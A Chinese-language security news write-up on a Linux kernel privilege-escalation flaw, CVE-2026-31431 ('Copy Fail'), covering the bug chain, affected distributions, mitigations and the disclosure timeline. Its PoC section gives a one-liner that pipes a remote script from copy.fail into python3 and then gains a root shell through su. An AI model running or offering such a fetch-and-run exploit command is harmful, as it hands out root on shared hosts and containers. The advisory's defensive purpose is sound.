732字節通殺Linux:史詩級漏洞潛伏近十年

🚨 史詩級漏洞:732 字節通殺所有 Linux,近十年潛伏
一個名爲“Copy Fail”的 Linux 內核漏洞(CVE-2026-31431)被公開披露:
- 732 字節的 Python 腳本
- 100% 可靠,無需競態窗口或內核偏移
- 影響所有 Linux 發行版(2017 年至今)
- 容器逃逸原語,跨租戶攻擊
- 近十年潛伏,直到 2026 年 4 月 29 日公開
同一個腳本在Ubuntu、RHEL、Amazon Linux、SUSE上都有效——無需修改。
🎯 漏洞核心
單一邏輯缺陷
Copy Fail 是一個直線邏輯缺陷:
- 不需要競態窗口:不像大多數 Linux LPE 需要競態
- 不需要內核偏移:不需要內核特定的偏移量
- 100% 可靠:每次都成功
- 同一個腳本:在所有發行版上都有效
漏洞鏈
Copy Fail 的攻擊鏈:
- authencesn 邏輯錯誤:一個邏輯 bug
- AF_ALG:通過內核 crypto API
- splice():鏈式調用
- 4 字節 page-cache 寫入:最終攻擊原語
- 近十年可利用:從 2017 年到補丁發佈
📊 受影響範圍
官方驗證的發行版
| 發行版 | 內核版本 | 狀態 |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ 已驗證 |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ 已驗證 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ 已驗證 |
| SUSE 16 | 6.12.0-160000.9-default | ✅ 已驗證 |
其他受影響發行版
以下發行版同樣受影響:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- 嵌入式 Linux
結論:如果你的內核在 2017 年到補丁之間構建——你受影響。
💡 高危場景
| 場景 | 風險 | 影響 |
|---|---|---|
| 多租戶 Linux 主機 | 高 | 任何用戶變成 root |
| Kubernetes / 容器集羣 | 高 | 跨容器、跨租戶攻擊 |
| CI Runner / Build Farm | 高 | PR 變成 runner 的 root |
| Cloud SaaS 運行用戶代碼 | 高 | 租戶變成 host root |
| 標準 Linux 服務器 | 中 | 內部 LPE,可鏈式攻擊 |
| 單用戶筆記本 | 低 | 後滲透提權步驟 |
🔧 緩解措施
方案 1:更新內核(推薦)
更新內核到包含mainline commit a664bf3d603d的版本:
- 修復內容:撤銷 2017 年的 algif_aead in-place 優化
- 效果:page-cache 頁面不再出現在可寫 destination scatterlist
- 狀態:大多數主流發行版已發佈補丁
方案 2:禁用 algif_aead 模塊(臨時)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
禁用 algif_aead 的影響
| 組件 | 影響 |
|---|---|
| dm-crypt / LUKS | 不影響 |
| kTLS / IPsec | 不影響 |
| OpenSSL / SSH | 不影響 |
| AF_ALG 用戶空間 | 可能影響 |
結論:對大多數系統,禁用 algif_aead沒有明顯影響。
方案 3:seccomp 阻止 AF_ALG
對於不受信任的工作負載(容器、沙箱、CI),通過 seccomp 阻止 AF_ALG socket 創建:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 PoC 演示
漏洞 PoC 已公開,供 defenders 驗證系統:
快速運行
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
PoC 詳情
- 文件大小:732 字節
- 語言:Python 3.10+ stdlib only(os, socket, zlib)
- 默認目標:/usr/bin/su
- SHA256:a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
警告:腳本修改 setuid binary 的 page cache;更改重啓後不持久,但 root shell 是真實的。不要在生產環境運行。
📅 披露時間線
| 日期 | 事件 |
|---|---|
| 2026-03-23 | 報告給 Linux kernel security team |
| 2026-03-24 | 初始確認 |
| 2026-03-25 | 補丁提議和審覈 |
| 2026-04-01 | 補丁提交到 mainline |
| 2026-04-22 | CVE-2026-31431 分配 |
| 2026-04-29 | 公開披露 |
🔍 發現者:Xint Code
漏洞由Xint Code發現:
- 掃描時間:約 1 小時掃描 Linux crypto/ subsystem
- 發現方式:AI 驅動的代碼審計
- 完整分析:root cause、diagrams、operator prompt
- 其他發現:同時發現其他高嚴重性漏洞,仍在協調披露中
Xint Code 戰績
- 0-day RCE:ZeroDay Cloud,掃蕩數據庫類別(Redis、PostgreSQL、MariaDB)
- DARPA AIxCC Top 3:DARPA AI Cyber Challenge 決賽
- DEF CON CTF 9×:DEF CON CTF 歷史最獲勝團隊
📝 總結
Copy Fail(CVE-2026-31431)是史詩級 Linux 內核漏洞:
- 732 字節通殺所有 Linux(2017 年至今)
- 100% 可靠,單一邏輯缺陷
- 容器逃逸,跨租戶攻擊
- 近十年潛伏,直到 2026 年 4 月 29 日公開
- 高危場景:多租戶主機、容器集羣、CI Runner、SaaS
- 緩解:更新內核或禁用 algif_aead
- 發現者:Xint Code,AI 驅動代碼審計
近十年的史詩級漏洞,一個腳本通殺所有 Linux。
漏洞官網:https://copy.fail
GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431
技術分析:https://xint.io/blog/copy-fail-linux-distributions
Kernel 補丁:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5